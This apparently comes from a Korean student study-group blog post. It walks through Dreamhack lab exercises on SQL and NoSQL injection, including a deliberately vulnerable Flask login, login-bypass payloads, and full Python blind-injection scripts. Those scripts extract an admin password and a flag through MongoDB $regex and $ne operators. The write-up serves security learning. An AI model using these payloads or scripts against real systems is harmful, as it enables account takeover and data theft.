-
[SISS/웹해킹 스터디] 2학기 7주차 스터디 - SQL Injecion 실습 + NoSQL Injection24-2 SISS/웹해킹 2024. 11. 10. 20:00
2학기 7주차 스터디 - SQL Injecion 실습 + NoSQL Injection 수강 인증 화면 캡쳐 : 7주차 11/04 ~ 11/10 [드림핵] SQL Injection
SQL Injection 퀴즈
SQL Injection 퀴즈 SQL Injection 실습
- 실습 정보
- SQLite → 경량화된 데이터베이스 관리 시스템(일부 기능만 지원)
- 목표 → 관리자 계정으로 로그인하여 플래그 획득
- 웹 서비스 분석
- 데이터베이스
- 데이터베이스 스키마 (아래 코드 참고)
- 데이터베이스 구조
userid userpassword guest guest admin 랜덤 문자열(16 바이트)을 Hex로 표현 (32 바이트)
- 페이지 정보
- @app.route('/login’) → 메소드 별 다른 기능 제공
- GET → 로그인 페이지 제공
- POST → 계정 정보가 DB에 존재하는지 확인(관리자일 경우 플래그 출력)
# Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함 @app.route('/login', methods=['GET', 'POST']) def login(): # 이용자가 GET 메소드의 요청을 전달한 경우, if request.method == 'GET': return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력 # POST 요청을 전달한 경우 else: userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤, userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고 # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴 res = query_db( f'select * from users where userid="{userid}" and userpassword="{userpassword}"' ) if res: # 쿼리 결과가 존재하는 경우 userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용 if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우 return f'hello {userid} flag is {FLAG}' # flag를 출력 # 관리자 계정이 아닌 경우, 웰컴 메시지만 출력 return f'<script>alert("hello {userid}");history.go(-1);</script>' # 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력 return '<script>alert("wrong");history.go(-1);</script>'
- @app.route('/login’) → 메소드 별 다른 기능 제공
- 데이터베이스
-- 데이터베이스 스키마 DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정 if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우 db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결 db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성 # users 테이블에 관리자와 guest 계정 생성 db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");') db.commit() # 쿼리 실행 확정 db.close() # DB 연결 종료
- 취약점 분석
- 코드
- 입력 정보를 바탕으로 쿼리문을 생성한 후 SQLite에 질의(query_db) → 쿼리 생성 시 입력값이 그대로 쿼리에 포함되므로 SQL Injection 수행할 수 있음
def login(): # login 함수 선언 ... userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤, userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고 # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴 res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"') ... def query_db(query, one=True): # query_db 함수 선언 cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의 rv = cur.fetchall() # 쿼리문 내용을 받아오기 cur.close() # 데이터베이스 연결 종료 return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
- 풀이 방법
- 로그인을 우회 → 강의
- 비밀번호를 알아내 올바른 경로로 로그인
- 코드
- 풀이
- 로그인 쿼리문
- SQL Injection 공격 코드(공격 쿼리문을 로그인 폼에 입력하여 관리자 계정으로 로그인)
-- 로그인 쿼리문 SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
-- SQL Injection 공격 코드 /* ID: admin"--, PW: DUMMY userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식 */ SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY" /* ID: admin" or "1 , PW: DUMMY userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식 */ SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY" /* ID: admin, PW: DUMMY" or userid="admin userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식 */ SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin" /* ID: " or 1 LIMIT 1,1-- , PW: DUMMY userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식 */ SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
Blind SQL Injection 실습
- 실습 정보
- 비밀번호는 SQLite의 users 테이블에 위치
- 로그인 요청의 폼 구조(POST 데이터 구조) 파악
- 로그인 화면
- 개발자 도구/Network/Preserve log/login(POST)/Payload → /login으로 전송된 POST 요청 확인 → userid, userpassword로 입력값이 전달됨
- 로그인 화면
로그인 요청 폼 구조 파악(POST) - 비밀번호 길이 파악
- 이진 탐색 알고리즘 활용
#!/usr/bin/python3 import requests import sys from urllib.parse import urljoin class Solver: """Solver for simple_SQLi challenge""" # initialization def __init__(self, port: str) -> None: self._chall_url = f"<http://host1.dreamhack.games>:{port}" self._login_url = urljoin(self._chall_url, "login") # base HTTP methods def _login(self, userid: str, userpassword: str) -> bool: login_data = { "userid": userid, "userpassword": userpassword } resp = requests.post(self._login_url, data=login_data) return resp # base sqli methods def _sqli(self, query: str) -> requests.Response: resp = self._login(f"\\" or {query}-- ", "hi") return resp def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: while 1: mid = (low+high) // 2 if low+1 >= high: break query = query_tmpl.format(val=mid) if "hello" in self._sqli(query).text: high = mid else: low = mid return mid # attack methods def _find_password_length(self, user: str, max_pw_len: int = 100) -> int: query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\\"{user}\\")<{{val}})" pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len) return pw_len def solve(self): pw_len = solver._find_password_length("admin") print(f"Length of admin password is: {pw_len}") if __name__ == "__main__": port = sys.argv[1] solver = Solver(port) solver.solve()
- 비밀번호 획득
- 이진 탐색 알고리즘 활용
#!/usr/bin/python3 import requests import sys from urllib.parse import urljoin class Solver: """Solver for simple_SQLi challenge""" # initialization def __init__(self, port: str) -> None: self._chall_url = f"<http://host1.dreamhack.games>:{port}" self._login_url = urljoin(self._chall_url, "login") # base HTTP methods def _login(self, userid: str, userpassword: str) -> requests.Response: login_data = {"userid": userid, "userpassword": userpassword} resp = requests.post(self._login_url, data=login_data) return resp # base sqli methods def _sqli(self, query: str) -> requests.Response: resp = self._login(f'" or {query}-- ', "hi") return resp def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: while 1: mid = (low + high) // 2 if low + 1 >= high: break query = query_tmpl.format(val=mid) if "hello" in self._sqli(query).text: high = mid else: low = mid return mid # attack methods def _find_password_length(self, user: str, max_pw_len: int = 100) -> int: query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})' pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len) return pw_len def _find_password(self, user: str, pw_len: int) -> str: pw = "" for idx in range(1, pw_len + 1): query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))' pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E)) print(f"{idx}. {pw}") return pw def solve(self) -> None: # Find the length of admin password pw_len = solver._find_password_length("admin") print(f"Length of the admin password is: {pw_len}") # Find the admin password print("Finding password:") pw = solver._find_password("admin", pw_len) print(f"Password of the admin is: {pw}") if __name__ == "__main__": port = sys.argv[1] solver = Solver(port) solver.solve()
- 참고
- 연결 시간 초과 오류가 발생하는 경우
- try - except 구문으로 예외 처리
- 공격 성공시까지 스크립트 실행
- 연결 시간 초과 오류가 발생하는 경우
실습 - simple_sqli
- SQL Injection 이용
- admin”-- → 쿼리문이 아래와 같이 변경됨
- SELECT * FROM users WHERE userid=”admin”--“ AND userpassword=”1234”
- admin”-- → 쿼리문이 아래와 같이 변경됨
실습 - simple_sqli NoSQL Injection
- 비 관계형 데이터베이스(NRDBMS, NoSQL-Not only SQL)
- 개요
- 관계형 데이터베이스는 저장 데이터가 많아지면 용량 문제가 발생한다는 단점 해결
- 이용자의 입력값을 통해 동적으로 쿼리를 생성하므로 관계형 데이터베이스와 같은 문제점 발생 가능
- 특징
- SQL을 사용하지 않음 → 다양한 DBMS(Redis, Dynamo, CouchDB, MongoDB 등)가 존재하므로 각각의 구조와 문법을 익혀야함
- 복잡하지 않은 데이터를 저장(단순 검색, 추가 등에 최적화)
- 연관 배열을 사용해 데이터를 저장
- 개요
- MongoDB → JSON 형태의 도큐먼트를 저장(5.0 버전부터 mongo 쉘은 mongossh 명령어로 대체됨)
- 특징
- 스키마를 정의하지 않음 → 각 컬렉션에 대한 정의가 필요하지 않음
- JSON 형식으로 쿼리를 작성
- _id 필드가 Primary Key 역할을 함
- 예제
// RDBMS SELECT * FROM inventory WHERE status = "A" and qty < 30; // MongoDB db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ]} )
- 연산자
- 비교 연산자
$eq 지정된 값과 같은 값을 찾음 (equal) $in 배열 안의 값들과 일치하는 값을 찾음 (in) $ne 지정된 값과 같지 않은 값을 찾음 (not equal) $nin 배열 안의 값들과 일치하지 않는 값을 찾음 (not in) - 논리 연산자
$and AND / 각각의 쿼리를 모두 만족하는 문서를 반환 $not 쿼리 식의 효과를 반전 / 쿼리 식과 일치하지 않는 문서를 반환 $nor NOR / 각각의 쿼리를 모두 만족하지 않는 문서를 반환 $or OR / 각각의 쿼리 중 하나 이상 만족하는 문서를 반환 - 요소
$exists 지정된 필드가 있는 문서를 검색 $type 지정된 필드가 지정된 유형인 문서를 선택 - 평가
$expr 쿼리 언어 내에서 집계 식을 사용 $regex 지정된 정규식과 일치하는 문서를 선택 $text 지정된 텍스트를 검색
- 비교 연산자
- 기본 문법
- SELECT
// SELECT - SQL SELECT * FROM account; SELECT * FROM account WHERE user_id="admin"; SELECT user_idx FROM account WHERE user_id="admin"; // SELECT - MongoDB db.account.find() db.account.find( { user_id: "admin" } ) db.account.find( { user_id: "admin" }, { user_idx:1, _id:0 } )
- INSERT
// INSERT - SQL INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest"); // INSERT - MongoDB db.account.insertOne( { user_id: "guest",user_pw: "guest" } )
- DELETE
// DELETE - SQL DELETE FROM account; DELETE FROM account WHERE user_id="guest"; // DELETE - MongoDB db.account.remove() db.account.remove( {user_id: "guest"} )
- UPDATE
// UPDATE - SQL UPDATE account SET user_id="guest2" WHERE user_idx=2; // UPDATE - MongoDB db.account.updateOne( { user_idx: 2 }, { $set: { user_id: "guest2" } } )
- SELECT
- 특징
- Redis → 연관베열 데이터 저장
- 특징
- 메모리 기반의 DBMS → 읽고 쓰는 작업을 다른 DBMS와 비교해 훨씬 빨리 수행(임시데이터 캐싱에 주로 사용됨)
- 명령어 → (공식 문서) https://redis.io/commands
- 데이터 조회 및 조작
GET GET key 데이터 조회 MGET MGET key [key ...] 여러 데이터를 조회 SET SET key value 새로운 데이터 추가 MSET MSET key value [key value ...] 여러 데이터를 추가 DEL DEL key [key ...] 데이터 삭제 EXISTS EXISTS key [key ...] 데이터 유무 확인 INCR INCR key 데이터 값에 1 더함 DECR DECR key 데이터 값에 1 뺌
- 관리
INFO INFO [section] DBMS 정보 조회 CONFIG GET CONFIG GET parameter 설정 조회 CONFIG SET CONFIG SET parameter value 새로운 설정을 입력
- 데이터 조회 및 조작
- 특징
- CouchDB → MongoDB와 같이 JSON 형태인 도큐먼트를 저장
- 특징
- 웹 기반의 DBMS → REST API 형식으로 요청 처리 → (API 공식 문서) https://docs.couchdb.org/en/latest/api/index.html
- 메소드
POST 새로운 레코드 추가 GET 레코드 조회 PUT 레코드 업데이트 DELETE 레코드 삭제 - 레코드 업데이트 및 조회 예시(HTTP 요청) → 아래 코드 참고
- 특수 구성 요소
- 서버
/ 인스턴스에 대한 메타 정보 반환 /_all_dbs 인스턴스의 데이터베이스 목록 반환 /_utils 관리자페이지로 이동 - 데이터베이스
/db 지정된 데이터베이스에 대한 정보 반환 /{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트 반환 /{db}/_find 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트 반환
- 서버
- 특징
-- 레코드 업데이트 및 조회 예시(HTTP 요청) $ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}' {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"} $ curl http://{username}:{password}@localhost:5984/users/guest {"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
NoSQL Injection - MongoDB
- 개요
- SQL Injection과 유사 → 이용자의 입력값이 쿼리에 포함되며 문제가 발생
- 이용자의 입력값에 대한 타입 검증이 불충분할 경우 발생
- MongoDB 사용 가능 자료형 → 문자열, 정수, 날짜, 실수 + 오브젝트, 배열 등 → (공식 문서) https://docs.mongodb.com/manual/reference/operator/query/type/
- 예제 코드
- 이용자의 입력값과 타입 출력 (NodeJS의 Express 프레임워크 이용) → req.query 타입이 지정되어있지 않으므로 문자열 외의 자료형 입력 가능
const express = require('express'); const app = express(); app.get('/', function(req,res) { console.log('data:', req.query.data); console.log('type:', typeof req.query.data); res.send('hello world'); }); const server = app.listen(3000, function(){ console.log('app.listen'); });
- 각각의 타입 입력
- 이용자의 입력값과 타입 출력 (NodeJS의 Express 프레임워크 이용) → req.query 타입이 지정되어있지 않으므로 문자열 외의 자료형 입력 가능
http://localhost:3000/?data=1234 data: 1234 type: string http://localhost:3000/?data[]=1234 data: [ '1234' ] type: object http://localhost:3000/?data[]=1234&data[]=5678 data: [ '1234', '5678' ] type: object http://localhost:3000/?data[5678]=1234 data: { '5678': '1234' } type: object http://localhost:3000/?data[5678]=1234&data=0000 data: { '5678': '1234', '0000': true } type: object http://localhost:3000/?data[5678]=1234&data[]=0000 data: { '0': '0000', '5678': '1234' } type: object http://localhost:3000/?data[5678]=1234&data[1111]=0000 data: { '1111': '0000', '5678': '1234' } type: object
- NoSQL Injection → 타입 검증이 불충분할 경우 연산자를 사용할 수 있음 → 인증 우회에 사용
- 예시 코드
- 오브젝트 타입의 값을 입력(연산자 사용 가능)
// 예시 코드 const express = require('express'); const app = express(); const mongoose = require('mongoose'); const db = mongoose.connection; mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); app.get('/query', function(req,res) { db.collection('user').find({ 'uid': req.query.uid, 'upw': req.query.upw }).toArray(function(err, result) { if (err) throw err; res.send(result); }); }); const server = app.listen(3000, function(){ console.log('app.listen'); }); // $ne 연산자를 이용하여 일치하지 않는 데이터를 반환 <http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a> => [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
- 오브젝트 타입의 값을 입력(연산자 사용 가능)
- 예시 코드
- Blind NoSQL Injection → 인증 우회 외에도 데이터베이스의 정보를 알아낼 수 있음 → MongoDB의 경우 주로 $regex, $where 연산자를 사용
- 기타 연산자 → (공식 문서) https://docs.mongodb.com/manual/reference/operator/query/
$expr 쿼리 언어 내에서 집계 식을 사용 가능하도록 함 $regex 지정된 정규식과 일치하는 문서를 선택 $text 지정된 텍스트를 검색 $where JavaScript 표현식을 만족하는 문서와 일치
- $regex → 정규식을 사용해 식과 일치하는 데이터 조회
// upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리 > db.user.find({upw: {$regex: "^a"}}) > db.user.find({upw: {$regex: "^b"}}) > db.user.find({upw: {$regex: "^c"}}) ... > db.user.find({upw: {$regex: "^g"}}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- $where → 인자로 전달한 자바스크립트 표현식을 만족하는 데이터 조회
// field에서 사용할 수 없음 > db.user.find({$where:"return 1==1"}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" } > db.user.find({uid:{$where:"return 1==1"}}) error: { "$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field", "code" : 17287 }
- substring → 한 글자씩 비교할 수 있음
> db.user.find({$where: "this.upw.substring(0,1)=='a'"}) > db.user.find({$where: "this.upw.substring(0,1)=='b'"}) > db.user.find({$where: "this.upw.substring(0,1)=='c'"}) ... > db.user.find({$where: "this.upw.substring(0,1)=='g'"}) { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- time based injection → sleep 함수를 이용해 수행 가능
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`}); /* /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1 ... /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1 => 시간 지연 발생. */
- error based injection → 고의로 올바르지 않은 문법을 이용해 발생시킨 에러로 데이터를 알아냄
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"}); error: { "$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ", "code" : 16722 } // this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생 > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"}); // this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
- substring → 한 글자씩 비교할 수 있음
- 기타 연산자 → (공식 문서) https://docs.mongodb.com/manual/reference/operator/query/
- NoSQL Injection 실습
- 모듈 구성 코드 → 아래 코드 참고
- admin 계정의 비밀번호 획득 → uid, admin, upw[$ne], “”
// 모듈 구성 코드 const express = require('express'); const app = express(); app.use(express.json()); app.use(express.urlencoded( {extended : false } )); const mongoose = require('mongoose'); const db = mongoose.connection; mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); app.post('/query', function(req,res) { db.collection('user').find({ 'uid': req.body.uid, 'upw': req.body.upw }).toArray(function(err, result) { if (err) throw err; res.send(result); }); }); const server = app.listen(80, function(){ console.log('app.listen'); });
NoSQL Injection 실습 - Blind NoSQL Injection 실습
- 모듈 구성 코드 → 아래 코드 참고
- admin 계정의 비밀번호 획득
- 비밀번호 길이
// 모듈 구성 코드 const express = require('express'); const app = express(); app.use(express.json()); app.use(express.urlencoded( {extended : false } )); const mongoose = require('mongoose'); const db = mongoose.connection; mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); app.get('/query', function(req,res) { db.collection('user').findOne({ 'uid': req.body.uid, 'upw': req.body.upw }, function(err, result){ if (err) throw err; console.log(result); if(result){ res.send(result['uid']); }else{ res.send('undefined'); } }) }); const server = app.listen(80, function(){ console.log('app.listen'); });
Blind NoSQL Injection 실습 - 비밀번호 길이 Blind NoSQL Injection 실습 - 비밀번호 퀴즈 - NoSQL Injection
퀴즈 - NoSQL Injection 실습 - Mango
- 페이지 분석
- /login
- 분석
- uid와 upw로 데이터베이스를 검색하고 찾은 이용자 정보를 반환
- filter (/login의 GET 핸들러에 있음) → admin, dh, admi라는 문자열이 있을 경우 true를 반환
- 취약점
- 쿼리 변수의 타입을 검사하지 않음 → 요청 결과 string 외에 object도 쿼리로 전달될 수 있음
# /login app.get('/login', function(req, res) { if(filter(req.query)){ // filter 함수 실행 res.send('filter'); return; } const {uid, upw} = req.query; db.collection('user').findOne({ // db에서 uid, upw로 검색 'uid': uid, 'upw': upw, }, function(err, result){ if (err){ res.send('err'); }else if(result){ res.send(result['uid']); }else{ res.send('undefined'); } }) });
// filter 함수 // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} const BAN = ['admin', 'dh', 'admi']; filter = function(data){ const dump = JSON.stringify(data).toLowerCase(); var flag = false; BAN.forEach(function(word){ if(dump.indexOf(word)!=-1) flag = true; }); return flag; }
- 분석
- /login
- 풀이
- /login은 로그인 성공 시 uid만 출력하므로 Blind NoSQL Injection을 이용
- 페이로드 생성
- $regex 연산 사용
<http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*>
- 필터 우회
- . (정규표현식 - 임의 문자) 이용
<http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*>
- 풀이 코드
- 페이로드 생성
- /login은 로그인 성공 시 uid만 출력하므로 Blind NoSQL Injection을 이용
import requests, string HOST = 'http://localhost' ALPHANUMERIC = string.digits + string.ascii_letters SUCCESS = 'admin' flag = '' for i in range(32): for ch in ALPHANUMERIC: response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}') if response.text == SUCCESS: flag += ch break print(f'FLAG: DH{{{flag}}}')
실습 - Mango '24-2 SISS > 웹해킹' 카테고리의 다른 글
[SISS/웹해킹 스터디] 2학기 9주차 스터디 - File Vulnerability (0) 2024.11.17 [SISS/웹해킹 스터디] 2학기 8주차 스터디 - Command Injection (0) 2024.11.16 [SISS/웹해킹 스터디] 2학기 6주차 스터디 - SQL Injection (0) 2024.11.03 [SISS/웹해킹 스터디] 2학기 5주차 스터디 - CSRF (1) 2024.10.06 [SISS/웹해킹 스터디] 2학기 4주차 스터디 - XSS (0) 2024.09.29 - 실습 정보